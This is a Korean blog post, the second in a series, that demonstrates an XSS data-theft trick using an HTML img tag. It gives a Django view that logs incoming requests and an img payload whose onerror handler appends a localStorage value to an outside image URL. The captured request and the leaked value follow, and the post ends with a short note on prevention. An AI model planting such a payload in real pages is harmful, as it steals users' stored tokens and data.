[보안] XSS HTML Image 태그 주의할 점 - 2

2023. 4. 13. 22:46·IT/Web
반응형

[보안] HTML Image 태그 주의할 점 - 2

route 및 controller 작성

path("something.png", SomethingView.as_view())

class SomethingView(View):

    def get(self, request, *args, **kwargs):
        print(request.headers)
        print(request.GET)
        return HttpResponse(status=204)

HTML Image 작성

해당 이미지가 출력되는 곳에서 local storage에 xxx 키값으로 저장되어 있는 값을 가져오고자 한다.

<img alt="" src="https://something.file.com/something.png"     
     onerror="this.src = this.src + '?q=' + localStorage.getItem('xxxx'); this.onerror=null;">

결과

만약 local storage, cookie 등의 비휘발성의 데이터가 사용자 Client에 저장되어 있고 특정 키 값을 추적하여 확인한다면 서비스 개발자 외에도 서비스 사용자의 정보를 몰래 가져갈 수 있다.

방지하는 방법은 알려진 방법들에 대해서 프론트 엔드와 백엔드에서 1,2차적으로 방지하고 백엔드단에서 보안 검사하는 라이브러리 등을 사용 하는 것이다. 

{'Content-Length': '', 'Content-Type': 'text/plain', 'Host': 'xxxx', 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36', 'Accept': 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8', 'Accept-Encoding': 'gzip, deflate, br', 'Accept-Language': 'ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7,ja;q=0.6,und;q=0.5', 'Cookie': 'abuse_interstitial=xxxx', 'Referer': 'xxxxx', 'Sec-Ch-Ua': '"Google Chrome";v="111", "Not(A:Brand";v="8", "Chromium";v="111"', 'Sec-Ch-Ua-Mobile': '?0', 'Sec-Ch-Ua-Platform': '"macOS"', 'Sec-Fetch-Dest': 'image', 'Sec-Fetch-Mode': 'no-cors', 'Sec-Fetch-Site': 'cross-site', 'X-Forwarded-For': '123.456.789.123', 'X-Forwarded-Proto': 'https'}

<QueryDict: {'q': ['exposed']}>
728x90
반응형
저작자표시 비영리 변경금지 (새창열림)
'IT/Web' 카테고리의 다른 글
  • [Web Hacking] Challange 26 풀이
  • [Web Hacking] Challange 15 풀이
  • [보안] XSS HTML Image 태그 주의할 점
  • 캐시 (Cache)
상쾌한기분
상쾌한기분
  • 상쾌한기분
    상쾌한기분
    상쾌한기분
  • 전체
    오늘
    어제
    • 분류 전체보기 (251)
      • Python (44)
        • Python (26)
        • Django (6)
        • Flask (4)
        • Open Source (6)
      • Kotlin & Java (5)
        • Spring (2)
        • 프로젝트 (1)
      • Go (11)
      • Database (24)
        • MySQL (21)
        • Redis (3)
      • Infrastructure (2)
        • CDC (4)
        • Kafka (5)
        • Prometheus (2)
        • Fluentd (11)
        • Docker (1)
        • Airflow (2)
        • VPN (2)
      • IT (26)
        • AI (9)
        • Langchain (8)
        • Web (18)
        • Git (8)
        • 리팩토링 (9)
        • Micro Service Architecture (8)
        • Clean Code (16)
        • Design Pattern (0)
        • 수학 (1)
        • 알고리즘 (14)
      • OS (14)
        • Centos (10)
        • Ubuntu (3)
        • Mac (1)
      • Search Engine (2)
        • ElasticSearch (1)
        • Lucene Solr (1)
      • PHP (2)
        • Laravel (1)
        • Codeigniter (1)
  • 블로그 메뉴

    • Github 방문
  • 링크

  • 공지사항

  • 인기 글

  • 태그

    Redis
    파이썬
    docker
    오블완
    티스토리챌린지
    Kafka
    prompt
    MYSQL
    fluentd
    ollama
    performance
    go
    python
    LLM
    백준
    CDC
    http
    git
    Golang
    Langchain
  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.3
상쾌한기분
[보안] XSS HTML Image 태그 주의할 점 - 2
상단으로

티스토리툴바